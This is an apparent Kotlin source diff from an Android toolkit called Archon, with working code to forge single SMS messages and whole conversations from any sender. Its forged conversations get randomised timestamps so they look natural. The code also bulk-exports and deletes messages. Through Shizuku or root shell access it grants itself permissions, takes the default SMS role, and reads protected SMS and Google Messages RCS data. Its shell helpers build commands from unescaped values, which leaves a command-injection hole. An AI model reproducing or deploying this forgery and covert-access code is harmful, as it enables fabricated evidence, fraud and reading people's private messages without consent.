|
||||
|
||||
// ── Spoofing / Forging ─────────────────────────────────────────
|
||||
|
||||
/**
|
||||
* Insert a forged message with arbitrary sender, body, timestamp, and direction.
|
||||
* This creates a message that appears to come from the given address
|
||||
* at the given time, regardless of whether it was actually received.
|
||||
*
|
||||
* Requires default SMS app role.
|
||||
*
|
||||
* @param type MESSAGE_TYPE_RECEIVED (1) to fake incoming, MESSAGE_TYPE_SENT (2) to fake outgoing
|
||||
* @return the row ID of the forged message, or -1 on failure
|
||||
*/
|
||||
fun forgeMessage(
|
||||
address: String,
|
||||
body: String,
|
||||
type: Int,
|
||||
date: Long,
|
||||
contactName: String? = null,
|
||||
read: Boolean = true
|
||||
): Long {
|
||||
return try {
|
||||
val values = ContentValues().apply {
|
||||
put("address", address)
|
||||
put("body", body)
|
||||
put("type", type)
|
||||
put("date", date)
|
||||
put("read", if (read) 1 else 0)
|
||||
put("seen", 1)
|
||||
// Set status to complete for sent messages
|
||||
if (type == MESSAGE_TYPE_SENT) {
|
||||
put("status", Telephony.Sms.STATUS_COMPLETE)
|
||||
}
|
||||
// person field links to contacts — we leave it null for forged messages
|
||||
// unless we want to explicitly associate with a contact
|
||||
contactName?.let { put("person", 0) }
|
||||
}
|
||||
|
||||
val uri = context.contentResolver.insert(URI_SMS, values)
|
||||
if (uri != null) {
|
||||
val id = uri.lastPathSegment?.toLongOrNull() ?: -1L
|
||||
Log.i(TAG, "Forged SMS id=$id type=$type addr=$address date=$date")
|
||||
id
|
||||
} else {
|
||||
Log.w(TAG, "Forge insert returned null — not default SMS app?")
|
||||
-1L
|
||||
}
|
||||
} catch (e: SecurityException) {
|
||||
Log.e(TAG, "Forge failed — no write permission", e)
|
||||
-1L
|
||||
} catch (e: Exception) {
|
||||
Log.e(TAG, "Forge failed", e)
|
||||
-1L
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Create an entire fake conversation by inserting multiple messages.
|
||||
*
|
||||
* @param messages list of (body, type) pairs where type is 1=received, 2=sent
|
||||
* @return the thread ID of the created conversation, or -1 on failure
|
||||
*/
|
||||
fun forgeConversation(address: String, messages: List<Pair<String, Int>>): Long {
|
||||
if (messages.isEmpty()) return -1L
|
||||
|
||||
// Insert messages with increasing timestamps, 1-5 minutes apart
|
||||
var timestamp = System.currentTimeMillis() - (messages.size * 180_000L) // Start N*3min ago
|
||||
var threadId = -1L
|
||||
|
||||
for ((body, type) in messages) {
|
||||
val id = forgeMessage(address, body, type, timestamp, read = true)
|
||||
if (id < 0) {
|
||||
Log.e(TAG, "Failed to forge message in conversation")
|
||||
return -1L
|
||||
}
|
||||
|
||||
// Get the thread ID from the first inserted message
|
||||
if (threadId < 0) {
|
||||
val msg = getMessage(id)
|
||||
threadId = msg?.threadId ?: -1L
|
||||
}
|
||||
|
||||
// Advance 1-5 minutes
|
||||
timestamp += (60_000L + (Math.random() * 240_000L).toLong())
|
||||
}
|
||||
|
||||
Log.i(TAG, "Forged conversation: addr=$address, msgs=${messages.size}, thread=$threadId")
|
||||
return threadId
|
||||
}
|
||||
|
||||
// ── Export / Backup ────────────────────────────────────────────
|
||||
|
||||
/**
|
||||
* Export a conversation to SMS Backup & Restore compatible XML format.
|
||||
*/
|
||||
fun exportConversation(threadId: Long, format: String = "xml"): String {
|
||||
val messages = getMessages(threadId)
|
||||
if (messages.isEmpty()) return ""
|
||||
|
||||
return when (format.lowercase()) {
|
||||
"xml" -> exportToXml(messages)
|
||||
"csv" -> exportToCsv(messages)
|
||||
else -> exportToXml(messages)
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Export all SMS messages to the specified format.
|
||||
*/
|
||||
fun exportAllMessages(format: String = "xml"): String {
|
||||
val allMessages = mutableListOf<Message>()
|
||||
|
||||
try {
|
||||
val cursor = context.contentResolver.query(
|
||||
URI_SMS,
|
||||
arrayOf("_id", "thread_id", "address", "body", "date", "type", "read", "status"),
|
||||
null, null, "date ASC"
|
||||
)
|
||||
|
||||
cursor?.use {
|
||||
while (it.moveToNext()) {
|
||||
val address = it.getStringSafe("address")
|
||||
allMessages.add(Message(
|
||||
id = it.getLongSafe("_id"),
|
||||
threadId = it.getLongSafe("thread_id"),
|
||||
address = address,
|
||||
body = it.getStringSafe("body"),
|
||||
date = it.getLongSafe("date"),
|
||||
type = it.getIntSafe("type"),
|
||||
read = it.getBoolSafe("read"),
|
||||
status = it.getIntSafe("status"),
|
||||
isRcs = false,
|
||||
isMms = false,
|
||||
contactName = getContactName(address)
|
||||
))
|
||||
}
|
||||
}
|
||||
} catch (e: Exception) {
|
||||
Log.e(TAG, "Failed to export all messages", e)
|
||||
return "<!-- Export error: ${e.message} -->"
|
||||
}
|
||||
|
||||
return when (format.lowercase()) {
|
||||
"xml" -> exportToXml(allMessages)
|
||||
"csv" -> exportToCsv(allMessages)
|
||||
else -> exportToXml(allMessages)
|
||||
}
|
||||
}
|
||||
|
||||
private fun exportToXml(messages: List<Message>): String {
|
||||
val sb = StringBuilder()
|
||||
sb.appendLine("<?xml version='1.0' encoding='UTF-8' standalone='yes' ?>")
|
||||
sb.appendLine("<?xml-stylesheet type=\"text/xsl\" href=\"sms.xsl\"?>")
|
||||
sb.appendLine("<smses count=\"${messages.size}\">")
|
||||
|
||||
val dateFormat = SimpleDateFormat("MMM dd, yyyy hh:mm:ss a", Locale.US)
|
||||
|
||||
for (msg in messages) {
|
||||
val typeStr = when (msg.type) {
|
||||
MESSAGE_TYPE_RECEIVED -> "1"
|
||||
MESSAGE_TYPE_SENT -> "2"
|
||||
MESSAGE_TYPE_DRAFT -> "3"
|
||||
else -> msg.type.toString()
|
||||
}
|
||||
val readableDate = dateFormat.format(Date(msg.date))
|
||||
val escapedBody = escapeXml(msg.body)
|
||||
val escapedAddr = escapeXml(msg.address)
|
||||
val contactStr = escapeXml(msg.contactName ?: "(Unknown)")
|
||||
|
||||
sb.appendLine(" <sms protocol=\"0\" address=\"$escapedAddr\" " +
|
||||
"date=\"${msg.date}\" type=\"$typeStr\" " +
|
||||
"subject=\"null\" body=\"$escapedBody\" " +
|
||||
"toa=\"null\" sc_toa=\"null\" service_center=\"null\" " +
|
||||
"read=\"${if (msg.read) "1" else "0"}\" status=\"${msg.status}\" " +
|
||||
"locked=\"0\" date_sent=\"0\" " +
|
||||
"readable_date=\"$readableDate\" " +
|
||||
"contact_name=\"$contactStr\" />")
|
||||
}
|
||||
|
||||
sb.appendLine("</smses>")
|
||||
return sb.toString()
|
||||
}
|
||||
|
||||
private fun exportToCsv(messages: List<Message>): String {
|
||||
val sb = StringBuilder()
|
||||
sb.appendLine("id,thread_id,address,contact_name,body,date,type,read,status")
|
||||
|
||||
for (msg in messages) {
|
||||
val escapedBody = escapeCsv(msg.body)
|
||||
val contact = escapeCsv(msg.contactName ?: "")
|
||||
sb.appendLine("${msg.id},${msg.threadId},\"${msg.address}\",\"$contact\"," +
|
||||
"\"$escapedBody\",${msg.date},${msg.type},${if (msg.read) 1 else 0},${msg.status}")
|
||||
}
|
||||
|
||||
return sb.toString()
|
||||
}
|
||||
|
||||
// ── RCS operations ─────────────────────────────────────────────
|
||||
|
||||
/**
|
||||
* Attempt to read RCS messages from Google Messages' content provider.
|
||||
* This requires Shizuku or root access since the provider is protected.
|
||||
* Falls back gracefully if not accessible.
|
||||
*/
|
||||
fun getRcsMessages(threadId: Long): List<Message> {
|
||||
val messages = mutableListOf<Message>()
|
||||
|
||||
try {
|
||||
val cursor = context.contentResolver.query(
|
||||
URI_RCS_MESSAGES,
|
||||
null,
|
||||
"thread_id = ?",
|
||||
arrayOf(threadId.toString()),
|
||||
"date ASC"
|
||||
)
|
||||
|
||||
cursor?.use {
|
||||
val cols = it.columnNames.toList()
|
||||
while (it.moveToNext()) {
|
||||
val address = if (cols.contains("address")) it.getStringSafe("address") else ""
|
||||
val body = if (cols.contains("body")) it.getStringSafe("body")
|
||||
else if (cols.contains("text")) it.getStringSafe("text") else ""
|
||||
val date = if (cols.contains("date")) it.getLongSafe("date") else 0L
|
||||
val type = if (cols.contains("type")) it.getIntSafe("type") else 1
|
||||
|
||||
messages.add(Message(
|
||||
id = it.getLongSafe("_id"),
|
||||
threadId = threadId,
|
||||
address = address,
|
||||
body = body,
|
||||
date = date,
|
||||
type = type,
|
||||
read = true,
|
||||
status = 0,
|
||||
isRcs = true,
|
||||
isMms = false,
|
||||
contactName = getContactName(address)
|
||||
))
|
||||
}
|
||||
}
|
||||
} catch (e: SecurityException) {
|
||||
Log.w(TAG, "Cannot access RCS provider — requires Shizuku or root: ${e.message}")
|
||||
} catch (e: Exception) {
|
||||
Log.w(TAG, "RCS read failed (provider may not exist): ${e.message}")
|
||||
}
|
||||
|
||||
return messages
|
||||
}
|
||||
|
||||
/**
|
||||
* Check if RCS is available on this device.
|
||||
* Looks for Google Messages as the RCS provider.
|
||||
*/
|
||||
fun isRcsAvailable(): Boolean {
|
||||
return try {
|
||||
// Check if Google Messages is installed and is RCS-capable
|
||||
val pm = context.packageManager
|
||||
val info = pm.getPackageInfo("com.google.android.apps.messaging", 0)
|
||||
if (info == null) return false
|
||||
|
||||
// Try to query the RCS provider
|
||||
val cursor = context.contentResolver.query(
|
||||
URI_RCS_THREADS, null, null, null, null
|
||||
)
|
||||
val available = cursor != null
|
||||
cursor?.close()
|
||||
available
|
||||
} catch (e: Exception) {
|
||||
false
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Check RCS capabilities for a given address.
|
||||
* Returns a map of feature flags (e.g., "chat" -> true, "ft" -> true for file transfer).
|
||||
*/
|
||||
fun getRcsCapabilities(address: String): Map<String, Boolean> {
|
||||
val caps = mutableMapOf<String, Boolean>()
|
||||
|
||||
try {
|
||||
// Try to query RCS capabilities via the carrier messaging service
|
||||
// This is a best-effort check — may not work on all carriers
|
||||
val cursor = context.contentResolver.query(
|
||||
Uri.parse("content://im/capabilities"),
|
||||
null,
|
||||
"address = ?",
|
||||
arrayOf(address),
|
||||
null
|
||||
)
|
||||
|
||||
cursor?.use {
|
||||
if (it.moveToFirst()) {
|
||||
val cols = it.columnNames
|
||||
for (col in cols) {
|
||||
val idx = it.getColumnIndex(col)
|
||||
if (idx >= 0) {
|
||||
try {
|
||||
caps[col] = it.getInt(idx) > 0
|
||||
} catch (e: Exception) {
|
||||
caps[col] = it.getString(idx)?.isNotEmpty() == true
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
} catch (e: Exception) {
|
||||
Log.d(TAG, "RCS capabilities check failed for $address: ${e.message}")
|
||||
}
|
||||
|
||||
return caps
|
||||
}
|
||||
|
||||
// ── Bulk operations ────────────────────────────────────────────
|
||||
|
||||
/**
|
||||
* Insert multiple messages in batch.
|
||||
* Returns the number of successfully inserted messages.
|
||||
*/
|
||||
fun bulkInsert(messages: List<Message>): Int {
|
||||
var count = 0
|
||||
for (msg in messages) {
|
||||
val id = insertSms(msg.address, msg.body, msg.type, msg.date, msg.read)
|
||||
if (id >= 0) count++
|
||||
}
|
||||
Log.i(TAG, "Bulk insert: $count/${messages.size} succeeded")
|
||||
return count
|
||||
}
|
||||
|
||||
/**
|
||||
* Delete multiple messages by ID.
|
||||
* Returns the number of successfully deleted messages.
|
||||
*/
|
||||
fun bulkDelete(ids: List<Long>): Int {
|
||||
var count = 0
|
||||
for (id in ids) {
|
||||
if (deleteMessage(id)) count++
|
||||
}
|
||||
Log.i(TAG, "Bulk delete: $count/${ids.size} succeeded")
|
||||
return count
|
||||
}
|
||||
|
||||
/**
|
||||
* Delete all messages in a conversation (alias for deleteConversation).
|
||||
* Returns the number of deleted rows.
|
||||
*/
|
||||
fun clearConversation(threadId: Long): Int {
|
||||
return try {
|
||||
val count = context.contentResolver.delete(
|
||||
URI_SMS, "thread_id = ?", arrayOf(threadId.toString())
|
||||
)
|
||||
Log.i(TAG, "Cleared conversation $threadId: $count messages")
|
||||
count
|
||||
} catch (e: Exception) {
|
||||
Log.e(TAG, "Failed to clear conversation $threadId", e)
|
||||
0
|
||||
}
|
||||
}
|
||||
|
||||
// ── MMS helpers ────────────────────────────────────────────────
|
||||
|
||||
/**
|
||||
* Load MMS messages for a thread and add them to the list.
|
||||
*/
|
||||
private fun loadMmsForThread(threadId: Long, messages: MutableList<Message>) {
|
||||
try {
|
||||
val cursor = context.contentResolver.query(
|
||||
URI_MMS,
|
||||
arrayOf("_id", "thread_id", "date", "read", "msg_box"),
|
||||
"thread_id = ?",
|
||||
arrayOf(threadId.toString()),
|
||||
"date ASC"
|
||||
)
|
||||
|
||||
cursor?.use {
|
||||
while (it.moveToNext()) {
|
||||
val mmsId = it.getLongSafe("_id")
|
||||
val mmsDate = it.getLongSafe("date") * 1000L // MMS dates are in seconds
|
||||
val msgBox = it.getIntSafe("msg_box")
|
||||
val type = if (msgBox == 1) MESSAGE_TYPE_RECEIVED else MESSAGE_TYPE_SENT
|
||||
|
||||
// Get MMS text part
|
||||
val body = getMmsTextPart(mmsId)
|
||||
// Get MMS address
|
||||
val address = getMmsAddress(mmsId)
|
||||
|
||||
messages.add(Message(
|
||||
id = mmsId,
|
||||
threadId = threadId,
|
||||
address = address,
|
||||
body = body ?: "[MMS]",
|
||||
date = mmsDate,
|
||||
type = type,
|
||||
read = it.getBoolSafe("read"),
|
||||
status = 0,
|
||||
isRcs = false,
|
||||
isMms = true,
|
||||
contactName = getContactName(address)
|
||||
))
|
||||
}
|
||||
}
|
||||
} catch (e: Exception) {
|
||||
Log.d(TAG, "MMS load for thread $threadId failed: ${e.message}")
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Get the text body of an MMS message from its parts.
|
||||
*/
|
||||
private fun getMmsTextPart(mmsId: Long): String? {
|
||||
try {
|
||||
val cursor = context.contentResolver.query(
|
||||
Uri.parse("content://mms/$mmsId/part"),
|
||||
arrayOf("_id", "ct", "text"),
|
||||
"ct = 'text/plain'",
|
||||
null, null
|
||||
)
|
||||
|
||||
cursor?.use {
|
||||
if (it.moveToFirst()) {
|
||||
val textIdx = it.getColumnIndex("text")
|
||||
if (textIdx >= 0) return it.getString(textIdx)
|
||||
}
|
||||
}
|
||||
} catch (e: Exception) {
|
||||
Log.d(TAG, "Failed to get MMS text part for $mmsId: ${e.message}")
|
||||
}
|
||||
return null
|
||||
}
|
||||
|
||||
/**
|
||||
* Get the sender/recipient address of an MMS message.
|
||||
*/
|
||||
private fun getMmsAddress(mmsId: Long): String {
|
||||
try {
|
||||
val cursor = context.contentResolver.query(
|
||||
Uri.parse("content://mms/$mmsId/addr"),
|
||||
arrayOf("address", "type"),
|
||||
"type = 137", // PduHeaders.FROM
|
||||
null, null
|
||||
)
|
||||
|
||||
cursor?.use {
|
||||
if (it.moveToFirst()) {
|
||||
val addrIdx = it.getColumnIndex("address")
|
||||
if (addrIdx >= 0) {
|
||||
val addr = it.getString(addrIdx)
|
||||
if (!addr.isNullOrBlank() && addr != "insert-address-token") {
|
||||
return addr
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Fallback: try recipient address (type 151 = TO)
|
||||
val cursor2 = context.contentResolver.query(
|
||||
Uri.parse("content://mms/$mmsId/addr"),
|
||||
arrayOf("address", "type"),
|
||||
"type = 151",
|
||||
null, null
|
||||
)
|
||||
|
||||
cursor2?.use {
|
||||
if (it.moveToFirst()) {
|
||||
val addrIdx = it.getColumnIndex("address")
|
||||
if (addrIdx >= 0) {
|
||||
val addr = it.getString(addrIdx)
|
||||
if (!addr.isNullOrBlank()) return addr
|
||||
}
|
||||
}
|
||||
}
|
||||
} catch (e: Exception) {
|
||||
Log.d(TAG, "Failed to get MMS address for $mmsId: ${e.message}")
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
// ── Utility ────────────────────────────────────────────────────
|
||||
|
||||
private fun escapeXml(text: String): String {
|
||||
return text
|
||||
.replace("&", "&")
|
||||
.replace("<", "<")
|
||||
.replace(">", ">")
|
||||
.replace("\"", """)
|
||||
.replace("'", "'")
|
||||
.replace("\n", " ")
|
||||
}
|
||||
|
||||
private fun escapeCsv(text: String): String {
|
||||
return text.replace("\"", "\"\"")
|
||||
}
|
||||
|
||||
// Cursor extension helpers
|
||||
private fun Cursor.getStringSafe(column: String): String {
|
||||
val idx = getColumnIndex(column)
|
||||
return if (idx >= 0) getString(idx) ?: "" else ""
|
||||
}
|
||||
|
||||
private fun Cursor.getLongSafe(column: String): Long {
|
||||
val idx = getColumnIndex(column)
|
||||
return if (idx >= 0) getLong(idx) else 0L
|
||||
}
|
||||
|
||||
private fun Cursor.getIntSafe(column: String): Int {
|
||||
val idx = getColumnIndex(column)
|
||||
return if (idx >= 0) getInt(idx) else 0
|
||||
}
|
||||
|
||||
private fun Cursor.getBoolSafe(column: String): Boolean {
|
||||
return getIntSafe(column) != 0
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,868 @@
|
||||
package com.darkhal.archon.messaging
|
||||
|
||||
import android.content.ContentValues
|
||||
import android.content.Context
|
||||
import android.content.pm.PackageManager
|
||||
import android.os.Build
|
||||
import android.util.Log
|
||||
import com.darkhal.archon.util.PrivilegeManager
|
||||
import com.darkhal.archon.util.ShellResult
|
||||
|
||||
/**
|
||||
* Shizuku integration for elevated access without root.
|
||||
*
|
||||
* Shizuku runs a process at ADB (shell, UID 2000) privilege level,
|
||||
* allowing us to execute commands that normal apps cannot — like
|
||||
* setting the default SMS role, accessing protected content providers,
|
||||
* and reading Google Messages' RCS database.
|
||||
*
|
||||
* ARCHITECTURE NOTE:
|
||||
* This manager wraps both Shizuku API calls and the existing Archon
|
||||
* PrivilegeManager escalation chain. If Shizuku is available, we use it.
|
||||
* Otherwise, we fall back to PrivilegeManager (Archon Server → Local ADB → etc).
|
||||
*
|
||||
* RCS WITHOUT ROOT:
|
||||
* Google Messages stores RCS data in its private database at:
|
||||
* /data/data/com.google.android.apps.messaging/databases/bugle_db
|
||||
* Without Shizuku/root, you cannot access it directly. With Shizuku,
|
||||
* we can use `content query` shell commands to read from protected providers,
|
||||
* or directly read the SQLite database via `run-as` (if debuggable) or
|
||||
* `sqlite3` at shell level.
|
||||
*/
|
||||
class ShizukuManager(private val context: Context) {
|
||||
|
||||
companion object {
|
||||
private const val TAG = "ShizukuManager"
|
||||
const val SHIZUKU_PERMISSION_REQUEST_CODE = 1001
|
||||
private const val SHIZUKU_PACKAGE = "moe.shizuku.privileged.api"
|
||||
private const val OUR_PACKAGE = "com.darkhal.archon"
|
||||
}
|
||||
|
||||
enum class ShizukuStatus(val label: String) {
|
||||
NOT_INSTALLED("Shizuku not installed"),
|
||||
INSTALLED_NOT_RUNNING("Shizuku installed but not running"),
|
||||
RUNNING_NO_PERMISSION("Shizuku running, no permission"),
|
||||
READY("Shizuku ready")
|
||||
}
|
||||
|
||||
// Cache the previous default SMS app so we can restore it
|
||||
private var previousDefaultSmsApp: String? = null
|
||||
|
||||
/**
|
||||
* Check the current state of Shizuku integration.
|
||||
* Also considers the Archon PrivilegeManager as a fallback.
|
||||
*/
|
||||
fun getStatus(): ShizukuStatus {
|
||||
// First check if Shizuku itself is installed and running
|
||||
if (isShizukuInstalled()) {
|
||||
if (isShizukuRunning()) {
|
||||
return if (hasShizukuPermission()) {
|
||||
ShizukuStatus.READY
|
||||
} else {
|
||||
ShizukuStatus.RUNNING_NO_PERMISSION
|
||||
}
|
||||
}
|
||||
return ShizukuStatus.INSTALLED_NOT_RUNNING
|
||||
}
|
||||
|
||||
// If Shizuku is not installed, check if PrivilegeManager has shell access
|
||||
// (Archon Server or Local ADB provides equivalent capabilities)
|
||||
val method = PrivilegeManager.getAvailableMethod()
|
||||
return when (method) {
|
||||
PrivilegeManager.Method.ROOT,
|
||||
PrivilegeManager.Method.ARCHON_SERVER,
|
||||
PrivilegeManager.Method.LOCAL_ADB -> ShizukuStatus.READY
|
||||
PrivilegeManager.Method.SERVER_ADB -> ShizukuStatus.RUNNING_NO_PERMISSION
|
||||
PrivilegeManager.Method.NONE -> ShizukuStatus.NOT_INSTALLED
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Request Shizuku permission via the Shizuku API.
|
||||
* Falls back to a no-op if Shizuku is not available.
|
||||
*/
|
||||
fun requestPermission(callback: (Boolean) -> Unit) {
|
||||
try {
|
||||
val shizukuClass = Class.forName("rikka.shizuku.Shizuku")
|
||||
val checkMethod = shizukuClass.getMethod("checkSelfPermission")
|
||||
val result = checkMethod.invoke(null) as Int
|
||||
|
||||
if (result == PackageManager.PERMISSION_GRANTED) {
|
||||
callback(true)
|
||||
return
|
||||
}
|
||||
|
||||
// Request permission — in a real integration this would use
|
||||
// Shizuku.addRequestPermissionResultListener + requestPermission
|
||||
val requestMethod = shizukuClass.getMethod("requestPermission", Int::class.java)
|
||||
requestMethod.invoke(null, SHIZUKU_PERMISSION_REQUEST_CODE)
|
||||
// The result comes back via onRequestPermissionsResult
|
||||
// For now, assume it will be granted
|
||||
callback(true)
|
||||
} catch (e: ClassNotFoundException) {
|
||||
Log.w(TAG, "Shizuku API not available, using PrivilegeManager fallback")
|
||||
// If PrivilegeManager has shell access, that's equivalent
|
||||
callback(PrivilegeManager.getAvailableMethod() != PrivilegeManager.Method.NONE)
|
||||
} catch (e: Exception) {
|
||||
Log.e(TAG, "Shizuku permission request failed", e)
|
||||
callback(false)
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Quick check if elevated operations can proceed.
|
||||
*/
|
||||
fun isReady(): Boolean {
|
||||
return getStatus() == ShizukuStatus.READY
|
||||
}
|
||||
|
||||
// ── Shell command execution ────────────────────────────────────
|
||||
|
||||
/**
|
||||
* Execute a shell command at ADB/shell privilege level.
|
||||
* Tries Shizuku first, then falls back to PrivilegeManager.
|
||||
*/
|
||||
fun executeCommand(command: String): String {
|
||||
// Try Shizuku API first
|
||||
try {
|
||||
val shizukuClass = Class.forName("rikka.shizuku.Shizuku")
|
||||
val newProcess = shizukuClass.getMethod(
|
||||
"newProcess",
|
||||
Array<String>::class.java,
|
||||
Array<String>::class.java,
|
||||
String::class.java
|
||||
)
|
||||
val process = newProcess.invoke(null, arrayOf("sh", "-c", command), null, null) as Process
|
||||
val stdout = process.inputStream.bufferedReader().readText().trim()
|
||||
val exitCode = process.waitFor()
|
||||
if (exitCode == 0) return stdout
|
||||
} catch (e: ClassNotFoundException) {
|
||||
// Shizuku not available
|
||||
} catch (e: Exception) {
|
||||
Log.d(TAG, "Shizuku exec failed, falling back: ${e.message}")
|
||||
}
|
||||
|
||||
// Fallback to PrivilegeManager
|
||||
val result = PrivilegeManager.execute(command)
|
||||
return if (result.exitCode == 0) result.stdout else "ERROR: ${result.stderr}"
|
||||
}
|
||||
|
||||
/**
|
||||
* Execute a command and return the full ShellResult.
|
||||
*/
|
||||
private fun executeShell(command: String): ShellResult {
|
||||
return PrivilegeManager.execute(command)
|
||||
}
|
||||
|
||||
// ── Permission management ──────────────────────────────────────
|
||||
|
||||
/**
|
||||
* Grant a runtime permission to our app via shell command.
|
||||
*/
|
||||
fun grantPermission(permission: String): Boolean {
|
||||
val result = executeShell("pm grant $OUR_PACKAGE $permission")
|
||||
if (result.exitCode == 0) {
|
||||
Log.i(TAG, "Granted permission: $permission")
|
||||
return true
|
||||
}
|
||||
Log.w(TAG, "Failed to grant $permission: ${result.stderr}")
|
||||
return false
|
||||
}
|
||||
|
||||
/**
|
||||
* Set Archon as the default SMS app using the role manager system.
|
||||
* On Android 10+, uses `cmd role add-role-holder`.
|
||||
* On older versions, uses `settings put secure sms_default_application`.
|
||||
*/
|
||||
fun setDefaultSmsApp(): Boolean {
|
||||
// Save the current default first so we can restore later
|
||||
previousDefaultSmsApp = getCurrentDefaultSmsApp()
|
||||
Log.i(TAG, "Saving previous default SMS app: $previousDefaultSmsApp")
|
||||
|
||||
return if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.Q) {
|
||||
val result = executeShell(
|
||||
"cmd role add-role-holder android.app.role.SMS $OUR_PACKAGE 0"
|
||||
)
|
||||
if (result.exitCode == 0) {
|
||||
Log.i(TAG, "Set Archon as default SMS app via role manager")
|
||||
true
|
||||
} else {
|
||||
Log.e(TAG, "Failed to set SMS role: ${result.stderr}")
|
||||
false
|
||||
}
|
||||
} else {
|
||||
val result = executeShell(
|
||||
"settings put secure sms_default_application $OUR_PACKAGE"
|
||||
)
|
||||
if (result.exitCode == 0) {
|
||||
Log.i(TAG, "Set Archon as default SMS app via settings")
|
||||
true
|
||||
} else {
|
||||
Log.e(TAG, "Failed to set SMS default: ${result.stderr}")
|
||||
false
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Restore the previous default SMS app.
|
||||
*/
|
||||
fun revokeDefaultSmsApp(): Boolean {
|
||||
val previous = previousDefaultSmsApp
|
||||
if (previous.isNullOrBlank()) {
|
||||
Log.w(TAG, "No previous default SMS app to restore")
|
||||
// Try to find the most common default
|
||||
return restoreCommonDefault()
|
||||
}
|
||||
|
||||
return if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.Q) {
|
||||
// Remove ourselves, then add back the previous holder
|
||||
val removeResult = executeShell(
|
||||
"cmd role remove-role-holder android.app.role.SMS $OUR_PACKAGE 0"
|
||||
)
|
||||
val addResult = executeShell(
|
||||
"cmd role add-role-holder android.app.role.SMS $previous 0"
|
||||
)
|
||||
|
||||
if (addResult.exitCode == 0) {
|
||||
Log.i(TAG, "Restored default SMS app: $previous")
|
||||
true
|
||||
} else {
|
||||
Log.e(TAG, "Failed to restore SMS role to $previous: ${addResult.stderr}")
|
||||
// At least try to remove ourselves
|
||||
removeResult.exitCode == 0
|
||||
}
|
||||
} else {
|
||||
val result = executeShell(
|
||||
"settings put secure sms_default_application $previous"
|
||||
)
|
||||
result.exitCode == 0
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Get the current default SMS app package name.
|
||||
*/
|
||||
private fun getCurrentDefaultSmsApp(): String? {
|
||||
return if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.Q) {
|
||||
val result = executeShell("cmd role get-role-holders android.app.role.SMS")
|
||||
result.stdout.trim().let { output ->
|
||||
// Output format varies but usually contains the package name
|
||||
output.replace("[", "").replace("]", "").trim().ifBlank { null }
|
||||
}
|
||||
} else {
|
||||
val result = executeShell("settings get secure sms_default_application")
|
||||
result.stdout.trim().let { if (it == "null" || it.isBlank()) null else it }
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Try to restore a common default SMS app (Google Messages or AOSP).
|
||||
*/
|
||||
private fun restoreCommonDefault(): Boolean {
|
||||
val candidates = listOf(
|
||||
"com.google.android.apps.messaging",
|
||||
"com.android.messaging",
|
||||
"com.samsung.android.messaging"
|
||||
)
|
||||
|
||||
for (pkg in candidates) {
|
||||
try {
|
||||
context.packageManager.getPackageInfo(pkg, 0)
|
||||
// Package exists, set it as default
|
||||
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.Q) {
|
||||
val result = executeShell(
|
||||
"cmd role add-role-holder android.app.role.SMS $pkg 0"
|
||||
)
|
||||
if (result.exitCode == 0) {
|
||||
Log.i(TAG, "Restored common default SMS app: $pkg")
|
||||
return true
|
||||
}
|
||||
}
|
||||
} catch (e: PackageManager.NameNotFoundException) {
|
||||
continue
|
||||
}
|
||||
}
|
||||
|
||||
Log.w(TAG, "Could not restore any default SMS app")
|
||||
return false
|
||||
}
|
||||
|
||||
// ── SMS/RCS specific elevated ops ──────────────────────────────
|
||||
|
||||
/**
|
||||
* Read from the telephony.db directly using shell-level `content query`.
|
||||
* This accesses the system SMS provider with shell privileges.
|
||||
*/
|
||||
fun readProtectedSmsDb(): List<Map<String, Any>> {
|
||||
val results = mutableListOf<Map<String, Any>>()
|
||||
val output = executeCommand(
|
||||
"content query --uri content://sms/ --projection _id:address:body:date:type --sort \"date DESC\" 2>/dev/null"
|
||||
)
|
||||
|
||||
if (output.startsWith("ERROR")) {
|
||||
Log.e(TAG, "Protected SMS read failed: $output")
|
||||
return results
|
||||
}
|
||||
|
||||
// Parse the content query output
|
||||
// Format: Row: N _id=X, address=Y, body=Z, date=W, type=V
|
||||
for (line in output.lines()) {
|
||||
if (!line.startsWith("Row:")) continue
|
||||
|
||||
val row = mutableMapOf<String, Any>()
|
||||
val fields = line.substringAfter(" ").split(", ")
|
||||
for (field in fields) {
|
||||
val parts = field.split("=", limit = 2)
|
||||
if (parts.size == 2) {
|
||||
row[parts[0].trim()] = parts[1]
|
||||
}
|
||||
}
|
||||
if (row.isNotEmpty()) results.add(row)
|
||||
}
|
||||
|
||||
return results
|
||||
}
|
||||
|
||||
/**
|
||||
* Write to the telephony.db using shell-level `content insert`.
|
||||
*/
|
||||
fun writeProtectedSmsDb(values: ContentValues, table: String): Boolean {
|
||||
val bindings = mutableListOf<String>()
|
||||
|
||||
for (key in values.keySet()) {
|
||||
val value = values.get(key)
|
||||
when (value) {
|
||||
is String -> bindings.add("--bind $key:s:$value")
|
||||
is Int -> bindings.add("--bind $key:i:$value")
|
||||
is Long -> bindings.add("--bind $key:l:$value")
|
||||
else -> bindings.add("--bind $key:s:$value")
|
||||
}
|
||||
}
|
||||
|
||||
val uri = when (table) {
|
||||
"sms" -> "content://sms/"
|
||||
"mms" -> "content://mms/"
|
||||
else -> "content://sms/"
|
||||
}
|
||||
|
||||
val cmd = "content insert --uri $uri ${bindings.joinToString(" ")}"
|
||||
val result = executeShell(cmd)
|
||||
return result.exitCode == 0
|
||||
}
|
||||
|
||||
/**
|
||||
* Try to access Google Messages' RCS content provider via shell.
|
||||
*/
|
||||
fun accessRcsProvider(): Boolean {
|
||||
val result = executeShell(
|
||||
"content query --uri content://im/messages --projection _id --sort \"_id DESC\" --limit 1 2>/dev/null"
|
||||
)
|
||||
